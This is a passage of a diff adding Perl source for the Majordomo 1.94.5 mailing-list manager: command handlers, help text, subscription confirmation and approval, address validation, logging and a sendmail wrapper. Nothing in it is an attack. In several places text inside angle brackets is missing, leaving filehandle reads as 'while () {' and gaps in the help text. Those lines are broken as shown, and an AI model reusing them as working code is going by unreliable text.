GETFILEMSG $_; + } + # close (and thereby send) the file + close(GETFILEMSG); + &lclose(GETFILE); + print REPLY <<"EOM"; +List '$clean_list' file '$filename' +is being sent as a separate message. +EOM + } else { + print REPLY + "#### No such file '$filename' for list '$clean_list'\n"; + } + } + } else { + &squawk("$sm: invalid file '$filename' for list '$clean_list'."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("get $clean_list $filename"); +} + +sub do_index { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "index"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + if ( !$approved + && $config_opts{$clean_list, 'index_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("index", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do an 'index'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK; see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + &sendmail(FTPMAILMSG, $ftpmail_address, "index $clean_list", $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "dir\n"; + close (FTPMAILMSG); + print REPLY "'index' request forwarded to $ftpmail_address\n"; + } else { + if (-d "$filedir/$clean_list$filedir_suffix") { + if (chdir "$filedir/$clean_list$filedir_suffix") { + open(INDEX,"$index_command|") + || &abort("Can't fork to run $index_command, $!"); + while () { + print REPLY $_; + } + unless (close INDEX) { + &bitch("Index command $index_command failed.\n$! $?"); + &squawk("$sm: index command failed"); + } + } + else { + &bitch("Cannot chdir to $filedir/$clean_list$filedir_suffix to build index\n$!"); + &squawk("$sm: index command failed"); + } + } else { + print REPLY "#### No files available for $clean_list.\n"; + } + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("index $list"); + chdir("$homedir"); +} + +sub do_help { + print STDERR "$0: do_help()\n" if $DEBUG; + + local($list4help) = $majordomo_request ? "[]" : ""; + + local($listrequest) = " or to \"-request\@$whereami\".\n"; + $listrequest .= "\nThe parameter is only optional if the "; + $listrequest .= "message is sent to an address\nof the form "; + $listrequest .= "\"-request\@$whereami\"."; + + $listrequest = "." unless $majordomo_request; + + print REPLY <<"EOM"; + +This help message is being sent to you from the Majordomo mailing list +management system at $whoami. + +This is version $majordomo_version of Majordomo. + +If you're familiar with mail servers, an advanced user's summary of +Majordomo's commands appears at the end of this message. + +Majordomo is an automated system which allows users to subscribe +and unsubscribe to mailing lists, and to retrieve files from list +archives. + +You can interact with the Majordomo software by sending it commands +in the body of mail messages addressed to "$whoami". +Please do not put your commands on the subject line; Majordomo does +not process commands in the subject line. + +You may put multiple Majordomo commands in the same mail message. +Put each command on a line by itself. + +If you use a "signature block" at the end of your mail, Majordomo may +mistakenly believe each line of your message is a command; you will +then receive spurious error messages. To keep this from happening, +either put a line starting with a hyphen ("-") before your signature, +or put a line with just the word + + end + +on it in the same place. This will stop the Majordomo software from +processing your signature as bad commands. + +Here are some of the things you can do using Majordomo: + +I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM + +To get a list of publicly-available mailing lists on this system, put the +following line in the body of your mail message to $whoami: + + lists + +Each line will contain the name of a mailing list and a brief description +of the list. + +To get more information about a particular list, use the "info" command, +supplying the name of the list. For example, if the name of the list +about which you wish information is "demo-list", you would put the line + + info demo-list + +in the body of the mail message. + +II. SUBSCRIBING TO A LIST + +Once you've determined that you wish to subscribe to one or more lists on +this system, you can send commands to Majordomo to have it add you to the +list, so you can begin receiving mailings. + +To receive list mail at the address from which you're sending your mail, +simply say "subscribe" followed by the list's name: + + subscribe demo-list + +If for some reason you wish to have the mailings go to a different address +(a friend's address, a specific other system on which you have an account, +or an address which is more correct than the one that automatically appears +in the "From:" header on the mail you send), you would add that address to +the command. For instance, if you're sending a request from your work +account, but wish to receive "demo-list" mail at your personal account +(for which we will use "jqpublic\@my-isp.com" as an example), you'd put +the line + + subscribe demo-list jqpublic\@my-isp.com + +in the mail message body. + +Based on configuration decisions made by the list owners, you may be added +to the mailing list automatically. You may also receive notification +that an authorization key is required for subscription. Another message +will be sent to the address to be subscribed (which may or may not be the +same as yours) containing the key, and directing the user to send a +command found in that message back to $whoami. (This can be +a bit of extra hassle, but it helps keep you from being swamped in extra +email by someone who forged requests from your address.) You may also +get a message that your subscription is being forwarded to the list owner +for approval; some lists have waiting lists, or policies about who may +subscribe. If your request is forwarded for approval, the list owner +should contact you soon after your request. + +Upon subscribing, you should receive an introductory message, containing +list policies and features. Save this message for future reference; it +will also contain exact directions for unsubscribing. If you lose the +intro mail and would like another copy of the policies, send this message +to $whoami: + + intro demo-list + +(substituting, of course, the real name of your list for "demo-list"). + +III. UNSUBSCRIBING FROM MAILING LISTS + +Your original intro message contains the exact command which should be +used to remove your address from the list. However, in most cases, you +may simply send the command "unsubscribe" followed by the list name: + + unsubscribe demo-list + +(This command may fail if your provider has changed the way your +address is shown in your mail.) + +To remove an address other than the one from which you're sending +the request, give that address in the command: + + unsubscribe demo-list jqpublic\@my-isp.com + +In either of these cases, you can tell $whoami to remove +the address in question from all lists on this server by using "*" +in place of the list name: + + unsubscribe * + unsubscribe * jqpublic\@my-isp.com + +IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED + +To find the lists to which your address is subscribed, send this command +in the body of a mail message to $whoami: + + which + +You can look for other addresses, or parts of an address, by specifying +the text for which Majordomo should search. For instance, to find which +users at my-isp.com are subscribed to which lists, you might send the +command + + which my-isp.com + +Note that many list owners completely or fully disable the "which" +command, considering it a privacy violation. + +V. FINDING OUT WHO'S SUBSCRIBED TO A LIST + +To get a list of the addresses on a particular list, you may use the +"who" command, followed by the name of the list: + + who demo-list + +Note that many list owners allow only a list's subscribers to use the +"who" command, or disable it completely, believing it to be a privacy +violation. + +VI. RETRIEVING FILES FROM A LIST'S ARCHIVES + +Many list owners keep archives of files associated with a list. These +may include: +- back issues of the list +- help files, user profiles, and other documents associated with the list +- daily, monthly, or yearly archives for the list + +To find out if a list has any files associated with it, use the "index" +command: + + index demo-list + +If you see files in which you're interested, you may retrieve them by +using the "get" command and specifying the list name and archive filename. +For instance, to retrieve the files called "profile.form" (presumably a +form to fill out with your profile) and "demo-list.9611" (presumably the +messages posted to the list in November 1996), you would put the lines + + get demo-list profile.form + get demo-list demo-list.9611 + +in your mail to $whoami. + +VII. GETTING MORE HELP + +To contact a human site manager, send mail to $whoami_owner. +To contact the owner of a specific list, send mail to that list's +approval address, which is formed by adding "-approval" to the user-name +portion of the list's address. For instance, to contact the list owner +for demo-list\@$whereami, you would send mail to demo-list-approval\@$whereami. + +To get another copy of this help message, send mail to $whoami +with a line saying + + help + +in the message body. + +VIII. COMMAND SUMMARY FOR ADVANCED USERS + +In the description below items contained in []'s are optional. When +providing the item, do not include the []'s around it. Items in angle +brackets, such as
      , are meta-symbols that should be replaced +by appropriate text without the angle brackets. + +It understands the following commands: + + subscribe $list4help [
      ] + Subscribe yourself (or
      if specified) to the named . + + unsubscribe $list4help [
      ] + Unsubscribe yourself (or
      if specified) from the named . + "unsubscribe *" will remove you (or
      ) from all lists. This + _may not_ work if you have subscribed using multiple addresses. + + get $list4help + Get a file related to . + + index $list4help + Return an index of files you can "get" for . + + which [
      ] + Find out which lists you (or
      if specified) are on. + + who $list4help + Find out who is on the named . + + info $list4help + Retrieve the general introductory information for the named . + + intro $list4help + Retrieve the introductory message sent to new users. Non-subscribers + may not be able to retrieve this. + + lists + Show the lists served by this Majordomo server. + + help + Retrieve this message. + + end + Stop processing commands (useful if your mailer adds a signature). + +Commands should be sent in the body of an email message to +"$whoami"$listrequest Multiple commands can be processed provided +each occurs on a separate line. + +Commands in the "Subject:" line are NOT processed. + +If you have any questions or problems, please contact +"$whoami_owner". + +EOM +#' + print STDERR "$0: do_help(): finished writing help text, now logging.\n" if $DEBUG; + + &log("help"); + + print STDERR "$0: do_help(): done\n" if $DEBUG; +} + +sub send_confirm { + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local($cookie) = &gen_cookie($cmd, $list, $subscriber); + local(*AUTH); + + &sendmail(AUTH, $subscriber, "Confirmation for $cmd $list"); + + print AUTH <<"EOM"; +Someone (possibly you) has requested that your email address be added +to or deleted from the mailing list "$list\@$whereami". + +If you really want this action to be taken, please send the following +commands (exactly as shown) back to "$whoami": + + auth $cookie $cmd $list $subscriber + +If you do not want this action to be taken, simply ignore this message +and the request will be disregarded. + +If your mailer will not allow you to send the entire command as a single +line, you may split it using backslashes, like so: + + auth $cookie $cmd $list \\ + $subscriber + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + +Thanks! + +$whoami +EOM + close(AUTH); + + print REPLY <<"EOM"; +**** Your request to $whoami: +**** +**** $cmd $list $subscriber +**** +**** must be authenticated. To accomplish this, another request must be +**** sent in with an authorization key, which has been sent to: +**** $subscriber +**** +**** If the message is not received, there is generally a problem with +**** the address. Before reporting this as a problem, please note the +**** following: +**** +**** You only need to give an address to the subscribe command if you want +**** to receive list mail at a different address from where you sent the +**** command. Otherwise you can simply omit it. +**** +**** If you do give an address to the subscribe command, it must be a legal +**** address. It should not consist solely of your name. The address must +**** point to a machine that is reachable from the list server. +**** +**** If you have any questions about the policy of the list owner, please +**** contact "$list-approval\@$whereami". +**** +**** Thanks! +**** +**** $whoami +EOM + &log("send_confirm $cmd $list $subscriber"); +} + + + +# Send a request for subscribe or unsubscribe approval to a list owner +# Usage: &request_approval($cmd, $list, @subscriber) +sub request_approval { + # Get the arguments + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local(*APPROVE); + + # open a sendmail process for the approval request + &sendmail(APPROVE, "$list-approval\@$whereami", "APPROVE $list"); + + # Generate the approval request + print APPROVE <<"EOM"; +$reply_to requests that you approve the following: + + $cmd $list $subscriber + +If you approve, please send a message such as the following back to +$whoami (with the appropriate PASSWORD filled in, of course): + + approve PASSWORD \\ + $cmd $list \\ + $subscriber + +[The above is broken into multiple lines to avoid mail reader linewrap +problems. Commands can be on one line, or multi-line with '\\' escapes.] + +If you disapprove, do nothing. + + +Thanks! + +$whoami +EOM + # close (and thereby send) the approval request + close(APPROVE); + + # tell the requestor that their request has been forwarded for approval. + print REPLY <<"EOM"; +Your request to $whoami: + + $cmd $list $subscriber + +has been forwarded to the owner of the "$list" list for approval. +This could be for any of several reasons: + + You might have asked to subscribe to a "closed" list, where all new + additions must be approved by the list owner. + + You might have asked to subscribe or unsubscribe an address other than + the one that appears in the headers of your mail message. + +When the list owner approves your request, you will be notified. + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + + +Thanks! + +$whoami +EOM + + &log("request $cmd $list $subscriber"); +} + +# We are done processing the request; append help if needed, send the reply +# to the requestor, clean up, and exit + +sub done { + # append help, if needed. + if ($count == 0) { + print REPLY "**** No valid commands found.\n"; + print REPLY "**** Commands must be in message BODY, not in HEADER.\n\n"; + } + if ($needs_help || ($count == 0)) { + print REPLY "**** Help for $whoami:\n\n"; + &do_help(); + } + + # close (and thereby send) the reply + close(REPLY); + + # good bye! + exit(0); +} + +# Welcome a new subscriber to the list, and tell the list owner of his/her +# existance. +sub welcome { + local($list) = shift; + local($subscriber) = join(" ", @_); + + # welcome/intro message controlled by 'welcome=yes/no' + if ( &cf_ck_bool($list,"welcome")) { + + # Set up the sendmail process to welcome the new subscriber + &set_mail_sender($config_opts{$list,"sender"} . "\@" . $whereami); + &sendmail(MSG, $subscriber, "Welcome to $list"); + &set_mail_sender($whoami_owner); + + print MSG "Welcome to the $list mailing list!\n\n"; + + print MSG "Please save this message for future reference. Thank you.\n"; + + if ( $majordomo_request ) { + print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +send the following command in email to +\<${clean_list}-request\@$whereami\>: + + unsubscribe + +Or you can send mail to \<$whoami\> with the following +EOM + +} else { +print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +you can send mail to \<$whoami\> with the following +EOM +} + +print MSG <<"EOM"; +command in the body of your email message: + + unsubscribe $list + +or from another account, besides $subscriber: + + unsubscribe $list $subscriber + +EOM +print MSG <<"EOM"; +If you ever need to get in contact with the owner of the list, +(if you have trouble unsubscribing, or have questions about the +list itself) send email to \ . +This is the general rule for most mailing lists when you need +to contact a human. + +EOM + + # send them the info for the list, if it's available + # the .intro file has information for subscribers only + if (&lopen(INFO, "", "$listdir/$list.intro")) { + while () { + print MSG $_; + } + &lclose(INFO); + } elsif (&lopen(INFO, "", "$listdir/$list.info")) { + print MSG <<"EOM"; + Here's the general information for the list you've subscribed to, + in case you don't already have it: + +EOM +#'; + while () { + print MSG $_; + } + &lclose(INFO); + } else { + print MSG "#### No info available for $list.\n"; + } + + # close (and thereby send) the welcome message to the subscriber + close(MSG); + + } + + # tell the list owner of the new subscriber (optional: announcements=yes/no) + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(NOTICE, "$list-approval\@$whereami", "SUBSCRIBE $list $subscriber"); + print NOTICE "$subscriber has been added to $list.\n"; + print NOTICE "No action is required on your part.\n"; + close(NOTICE); + } +} + +# complain about a user screwup, and note that the user needs help appended +# to the reply +sub squawk { + print REPLY "**** @_\n"; + $needs_help++; +} + +# check to see if the subscriber is a LISTSERV-style "real name", not an +# address. If it contains white space and no routing characters ([!@%:]), +# then it's probably not an address. If it's valid, generate the proper +# request for approval; if it's not, bitch to the user. + +# if a fourth parameter is added to the check_and_request call, only +# check the subscribe request for a valid address. This allows +# the same routine to be used for checking when handling an auto list. + +sub check_and_request { + local($request,$clean_list, $subscriber, $do_request) = @_; + + # check to see if the subscriber looks like a LISTSERV-style + # "real name", not an address; if so, send a message to the + # requestor, and if not, ask the list owner for approval + local($addr) = &valid_addr($subscriber); + if ($addr =~ /\s/ && $addr !~ /[!%\@:]/) { + # yup, looks like a LISTSERV-style request to me. + &squawk("$request: LISTSERV-style request failed"); + print REPLY <<"EOM"; +This looks like a BITNET LISTSERV style '$request' request, because +the part after the list name doesn't look like an email address; it looks +like a person's name. Majordomo is not LISTSERV. In a Majordomo '$request' +request, the part after the list name is optional, but if it's there, it +should be an email address, NOT a person's real name. +EOM + + return(0); + } else { + return(1) if defined($do_request); + &request_approval($request, $clean_list, $subscriber); + } +} + +sub gen_cookie { + local($combined) = join('/', $cookie_seed ? $cookie_seed : $homedir, @_); + local($cookie) = 0; + local($i, $carry); + + # Because of backslashing and all of the splitting on whitespace and + # joining that goes on, we need to ignore whitespace. + $combined =~ s/\s//g; + + for ($i = 0; $i < length($combined); $i++) { + $cookie ^= ord(substr($combined, $i)); + $carry = ($cookie >> 28) & 0xf; + $cookie <<= 4; + $cookie |= $carry; + } + return (sprintf("%08x", $cookie)); +} + + +# Extracts the list name from the argument list to the do_* functions +# or uses the default list name, depending on invocation options and +# available arguments. Returns the raw list name, the validated list +# name, and the remaining argument list. + +sub get_listname { + local($request, $required, @args) = @_; + local($raw_list, $clean_list); + + if (defined($deflist)) { # -l option specified + if (scalar(@args) <= $required) { # minimal arguments, use default list + if ( !( ($raw_list = $deflist) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + $raw_list = shift(@args) || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + elsif ( !( ($raw_list = shift(@args)) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + unshift(@args, $raw_list); # Not a list name, put it back. + $raw_list = $deflist || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + + else { + $raw_list = shift(@args); + $clean_list = &valid_list($listdir, $raw_list); + } + + return ($raw_list, $clean_list, @args); +} diff --git a/update/scripts/packages/majordomo-1.94.5/majordomo.pl b/update/scripts/packages/majordomo-1.94.5/majordomo.pl new file mode 100644 index 0000000..7c0fff0 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/majordomo.pl @@ -0,0 +1,828 @@ +# General subroutines for Majordomo + +# $Source: /sources/cvsrepos/majordomo/majordomo.pl,v $ +# $Revision: 1.58 $ +# $Date: 2000/01/07 12:32:04 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Header: /sources/cvsrepos/majordomo/majordomo.pl,v 1.58 2000/01/07 12:32:04 cwilson Exp $ +# + +# The exit codes for abort. Look in /usr/include/sysexits.h. +# +$EX_DATAERR = 65; +$EX_TEMPFAIL = 75; +$EX_NOUSER = 67; + +package Majordomo; + +$DEBUG = $main'DEBUG; + +# Mail header hacking routines for Majordomo +# +# Derived from: +# Routines to parse out an RFC 822 mailheader +# E. H. Spafford, last mod: 11/91 +# +# ParseMailHeader breaks out the header into an % array +# indexed by a lower-cased keyword, e.g. +# &ParseMailHeader(STDIN, *Array); +# use $Array{'subject'} +# +# Note that some duplicate lines (like "Received:") will get joined +# into a single entry in %Array; use @Array if you want them separate +# $Array will contain the unprocessed header, with embedded +# newlines +# @Array will contain the header, one line per entry +# +# RetMailAddr tries to pull out the "preferred" return address +# based on the presence or absence of various return-reply fields + + +# Call as &ParseMailHeader(FileHandle, *array) + +sub main'ParseMailHeader ## Public +{ + local($save1) = ($/); + local($FH, *array) = @_; + local ($keyw, $val); + + %array = (); + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + $/ = ''; + $array = $_ = <$FH>; + s/\n\s+/ /gms; + + @array = split('\n'); + foreach $_ (@array) + { + ($keyw, $val) = m/^([^:]+):\s*(.*\S)\s*$/gms; + $keyw =~ y/A-Z/a-z/; + if (defined($array{$keyw})) { + $array{$keyw} .= ", $val"; + } else { + $array{$keyw} = $val; + } + } + $/ = $save1; +} + + +# Call as $addr = &RetMailAddr(*array) +# This assumes that the header is in RFC 822 format +# We used to strip the raw address from the header here, but the address is +# stripped again before it gets to the mailer and we may want to use the +# whole thing when we do a subscription. +sub main'RetMailAddr ## Public +{ + local(*array) = @_; + + local($ReplyTo) = defined($array{'reply-to'}) ? + $array{'reply-to'} : $array{'from'}; + + $ReplyTo = $array{'apparently-from'} unless $ReplyTo; + + $ReplyTo; +} + +# @addrs = &ParseAddrs($addr_list) +sub main'ParseAddrs { + local($_) = shift; + 1 while s/\([^\(\)]*\)//g; # strip comments + 1 while s/"[^"]*"\s//g; # strip comments" + my @x = split(/,/); # split into parts + foreach (@x) { + 1 while s/.*<(.*)>.*/$1/; + s/^\s+//; + s/\s+$//; + } + + @x; +} + +# Check to see if a list is valid. If it is, return the validated list +# name; if it's not, return "" +sub main'valid_list { + local($listdir) = shift; + # start with a space-separated list of the rest of the arguments + local($taint_list) = join(" ", @_); + # strip harmless matched leading and trailing angle brackets off the list + 1 while $taint_list =~ s/^<(.*)>$/$1/; + # strip harmless trailing "@.*" off the list + $taint_list =~ s/\@.*$//; + # anything else funny with $taint_list probably isn't harmless; let's check + # start with $clean_list the same as $taint_list + local($clean_list) = $taint_list; + # clean up $clean_list + $clean_list =~ s/[^-_0-9a-zA-Z]*//g; + # if $clean_list no longer equals $taint_list, something's wrong + if ($clean_list ne $taint_list) { + return ""; + } + # convert to all-lower-case + $clean_list =~ tr/A-Z/a-z/; + # check to see that $listdir/$clean_list exists + if (! -e "$listdir/$clean_list") { + return ""; + } + return $clean_list; +} + +# compare two email address to see if they "match" by converting to all +# lower case, then stripping off comments and comparing what's left. If +# a optional third argument is specified and it's not undefined, then +# partial matches (where the second argument is a substring of the first +# argument) should return true as well as exact matches. +# +# if optional third argument is 2, then compare the two addresses looking +# to see if the addresses are of the form user@dom.ain.com and user@ain.com +# if that is the format of the two addresses, then return true. +sub main'addr_match { + local($a1) = &main'chop_nl(shift); + local($a2) = &main'chop_nl(shift); + local($partial) = shift; # may be "undef" + + print STDERR "addr_match: enter\n" if $DEBUG; + print STDERR "addr_match: comparing $a1 against $a2\n" if $DEBUG; + + if ($partial == 1) { + $a1 =~ tr/A-Z/a-z/; + $a2 =~ tr/A-Z/a-z/; + if (index($a1, $a2) >= $[) { + return(1); + } else { + return(undef); + } + } + + local(@a1, @a2); + + $a1 =~ tr/A-Z/a-z/; + $a2 =~ tr/A-Z/a-z/; + + @a1 = &main'ParseAddrs($a1); + @a2 = &main'ParseAddrs($a2); + if (($#a1 != 0) || ($#a2 != 0)) { + # Can't match, because at least one of them has either zero or + # multiple addresses + return(undef); + } + + if ($partial == 2 && ($a1[0] ne $a2[0])) { # see if addresses are + # foo@baz.bax.edu, foo@bax.edu + local(@addr1,@addr2); + @addr1 = split(/\@/, $a1[0]); + @addr2 = split(/\@/, $a2[0]); + if ( $#addr1 == $#addr2 && $#addr1 == 1 && + $addr1[0] eq $addr2[0] && (index($addr1[1], $addr2[1]) >= $[)) + { + return(1); + } + } + + return($a1[0] eq $a2[0]); +} + +# These are package globals referenced by &setabortaddr and &abort + +$abort_addr = "owner-majordomo"; + +sub main'set_abort_addr { + $abort_addr = shift unless ($#_ < $[); +} + +# Abort the process, for the reason stated as the argument + +local($log_disabled); +local($logging_abort, $mailing_abort); + +sub main'abort { #' + # first, tell the requestor that something bad happened. + # XXX is this really meaningful for, say, resend? + if (-e main'REPLY) { + print main'REPLY <>> Sorry, an error has occurred while processing your request +>>> The caretaker of Majordomo ( $abort_addr ) has been notified +>>> of the problem. +END_MSG + close (main'REPLY); + } + + # print the reason for the abort to stderr; maybe someone will see it + print STDERR "$main'program_name: ABORT\n", join(" ", @_), "\n"; + + # log the reason for the abort, if possible. We don't log if the + # log is inaccessible, or if we're aborting trying to log that we're + # aborting. + unless ($log_disabled || $logging_abort) { + $logging_abort = join(" ", @_); + &main'log("ABORT", $logging_abort); + $logging_abort = ""; + } + else { + # Use previous message if we recursed + @_ = ($logging_abort) if $logging_abort; + } + + # send a message to the Majordomo owner, if possible. We don't mail + # if we're aborting trying to mail that we're aborting. + if (! $mailing_abort && + defined($abort_addr) && defined($main'bounce_mailer)) { + + $mailing_abort = 1; # Break recursion loops + + # We must set the mailer correctly here just in case it was + # originally set to the normal mailer; that probably won't get us + # anywhere + &main'set_mailer($main'bounce_mailer); + &main'sendmail(ABORT, $abort_addr, "MAJORDOMO ABORT ($main'program_name)");#' + print ABORT <<"EOM"; + +MAJORDOMO ABORT ($main'program_name)!! + +@_ + +EOM + close(ABORT); + } + + exit $EX_DATAERR; +} + +# bitch about a serious problem, but not fatal. + +local($logging_warning, $mailing_warning); + +sub main'bitch { + # print the warning to stderr in case all else fails + # maybe someone will see it + print STDERR "$main'program_name: WARNING\n", join(" ", @_), "\n"; + + # log the warning, if possible + unless ($log_disabled || $logging_warning) { + $logging_warning = 1; + &main'log("WARNING ", join(" ", @_), "\n"); #'; + $logging_warning = 0; + } + + # send a message to the Majordomo owner, if possible + if (! $mailing_warning && + defined($abort_addr) && defined($main'bounce_mailer)) { + + $mailing_warning = 1; # Break recursion loops + + # We must set the mailer correctly here just in case it was + # originally set to the normal mailer; that probably won't get us + # anywhere + &main'set_mailer($main'bounce_mailer); + &main'sendmail(WARN, $abort_addr, "MAJORDOMO WARNING ($main'program_name)");#'; + print WARN <<"EOM"; + +MAJORDOMO WARNING ($main'program_name)!! + +@_ + +EOM + close(WARN); + $mailing_warning = 0; + } +} + + + +# do a quick check of permissions. +# +sub main'check_permissions { + local($err); + if ( ! -w $log_file ) { + if ( ! -e $log_file ) { # log file may not exist, check dir perms. + local($dir); + ($dir) = $log_file =~ m@^(/\S+)/@; + if ( ! -w $dir ) { + $err .= "Unable to create log file in $dir, check permissions.\n"; # + } + } else { + $err .= "Unable to write to log file, check permissions on $log_file\n"; + } + } + + if ( ! -w $main'listdir ) { + $err .= "Unable to write to list directory \$listdir, check permissions on $main'listdir\n"; + } + + if (length $err) { + $err = "While running with an effective uid of $> and an effective gid of $), Majordomo\nran into the following problems:\n" . + $err; + $log_disabled = 1; + &main'abort($err);#'; + } +} + +# These are package globals referenced by &setlogfile and &log +$log_file = "/tmp/log.$$"; +$log_host = "UNKNOWN"; +$log_program = "UNKNOWN"; +$log_session = "UNKNOWN"; + +# set the log file +sub main'set_log { + $log_file = shift unless ($#_ < $[); + $log_host = shift unless ($#_ < $[); + $log_program = shift unless ($#_ < $[); + $log_session = shift unless ($#_ < $[); + +} + +# Log a message to the log +sub main'log { + + print STDERR "$0: main'log()\n" if $DEBUG; + + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime; + local(*MAILMSG); + + print STDERR "$0: main'log(): opening logfile $log_file\n" if $DEBUG; + + if (&main'lopen(LOG, ">>", $log_file)) { #'; + # if the log is open, write to the log + printf LOG "%s %02d %02d:%02d:%02d %s %s[%d] {%s} ", + $ctime'MoY[$mon], $mday, $hour, $min, $sec, + $log_host, $log_program, $$, $log_session; + print LOG join(" ", @_), "\n"; + &main'lclose(LOG); + } else { + + print STDERR "$0: main'log(): log not open, writing to STDERR and attempting to mail.\n" if $DEBUG; + + # otherwise, write to stderr + printf STDERR "%s[%d] {%s} ", $log_program, $$, $log_session; + print STDERR join(" ", @_), "\n"; + + # send a message to the Majordomo owner, if possible + if (defined($abort_addr)) { + &main'sendmail(MAILMSG, $abort_addr, # '( + "MAJORDOMO NOTICE: Can't open log"); + printf MAILMSG "%s[%d] {%s} ", $log_program, $$, $log_session; + print MAILMSG join(" ", @_), "\n"; + } + } + print STDERR "$0: main'log(): done\n" if $DEBUG; + +} + +# Globals referenced by &set_mail* and &sendmail +$mail_prog = "$sendmail_command -f\$sender -t"; +$mail_from = $whoami; +$mail_sender = $whoami_owner; + +# set the mailer +sub main'set_mailer { + $mail_prog = shift; +} + +# set the default from address +sub main'set_mail_from { + $mail_from = shift; +} + +# set the default sender address +sub main'set_mail_sender { + $mail_sender = shift; +} + +# Exec a mailer process +sub main'do_exec_sendmail { + &main'abort("do_exec_sendmail, number of args <= 1 unsafe to exec") + if scalar(@_) <= 1; + # It makes sense to check to see that the mailer is valid here, but the + # abort routine must make certain that recursion doesn't develop, + # because abort calls this routine. + &main'abort("$main'program_name: do_exec_sendmail, mailer $_[0] not executable") + unless (-x $_[0]); + exec(@_); + die("Failed to exec mailer \"@_\": $!"); +} + +# Open a mailer on the far end of a filehandle +sub main'sendmail { #'' + local($MAIL) = shift; + local($to) = shift; + local($subject) = shift; + local($from) = $mail_from; + local($sender) = $mail_sender; + # The following eval expands embedded variables like $sender + local($mail_cmd) = eval qq/"$mail_prog"/; + local($isParent); + if ($#_ >= $[) { $from = shift; } + if ($#_ >= $[) { $sender = shift; } + + # force unqualified filehandles into caller's package + local($package) = caller; + $MAIL =~ s/^[^':]+$/$package'$&/; + + # clean up the addresses, for use on the mailer command line + local(@to) = &main'ParseAddrs($to); + for (@to) { + $_ = join(", ", &main'ParseAddrs($_)); + } + $to = join(", ", @to); #'; + +print STDERR "$0: main'sendmail: To $to, Subject $subject, From $from\n" + if $DEBUG; +print STDERR "$0: main'sendmail: Sender $sender, mail_cmd = $mail_cmd\n" + if $DEBUG; + + # open the process + if (defined($isParent = open($MAIL, "|-"))) { + &main'do_exec_sendmail(split(' ', $mail_cmd)) + unless ($isParent); + } else { + &main'abort("Failed to fork prior to mailer exec"); + } + + # Generate the header. Note the line beginning with "-"; this keeps + # this message from being reprocessed by Majordomo if some misbegotten + # mailer out there bounces it back. + print $MAIL +"To: $to +From: $from +Subject: $subject +Reply-To: $from + +-- + +"; + + return; +} + +# check the password for a list +sub main'valid_passwd { + local($listdir, $list, $passwd) = @_; + + # is it a valid list? + local($clean_list) = &main'valid_list($listdir, $list); + if ($clean_list ne "") { + # it's a valid list check config passwd first + if (defined($main'config_opts{$clean_list,"admin_passwd"}) && + $passwd eq $main'config_opts{$clean_list,"admin_passwd"} ) + { return 1; } + + # read the password from the file in any case + if (&main'lopen(PASSWD, "", "$listdir/$clean_list.passwd")) { + local($file_passwd) = ; + &main'lclose(PASSWD); + $file_passwd = &main'chop_nl($file_passwd); + # got the password; now compare it to what the user sent + if ($passwd eq $file_passwd) { + return 1; + } else { + return 0; + } + } else { + return 0; + } + } else { + return 0; + } +} + +# Check to see that this is a valid address. +# A valid address is a single address with +# no "|" in the address part. It may not start with a - either. +# If it has a / in it, we use some heuristics to find out if the address +# may be a file. Some other heuristics attempt to look for a valid X.400 +# address. This is not infalible. +sub main'valid_addr { + local($addr, $list) = @_; + local(@addrs, $temp); + + # Parse the address out into parts + @addrs = &main'ParseAddrs($addr); + + # if there's not exactly 1 part, it's no good + # XXX Should inform the poor user of this fact. + if ($#addrs != 0) { + return undef; + } + + local($_) = $addrs[0]; + + # Deal with unbalanced brackets or parenthesis in an address. + $temp = $_; + + # Nuke anything within quotes. + 1 while $temp =~ s/(^|([^\\\"]|\\.)+)\"(([^\\\"]|\\.)*|$)\"?/$1/g; + + # Remove nested parentheses " <- placate emacs' highlighting + 1 while $temp =~ s/\([^\(\)]*\)//g; + + # Remove nested angle brackets + 1 while $temp =~ s/\<[^\<\>]*\>//g; + + # remove nested square brackets + 1 while $temp =~ s/\[[^\[\]]*\]//g; + + # If any parentheses of brackets remain, they are unbalanced and the + # address is illegal. + if ($temp =~ /[\(\)\<\>\[\]]/) { + if (-e main'REPLY) { + print main'REPLY <<"EOM" +**** The address you supplied, $_ +**** Does not seem to be a legal Internet address. It seems to have an +**** uneven number of parentheses or brackets. + +EOM + + } + &main'log("WARNING", "Unbalanced address: $_"); + return undef; + } + + if ($temp =~ /[,;:]/) { + if (-e main'REPLY) { + print main'REPLY <<"EOM" +**** The address you supplied, $_ +**** Does not seem to be a legal Internet address. It seems to have +**** unquoted colons, commas, or semicolons. + +EOM + + } + 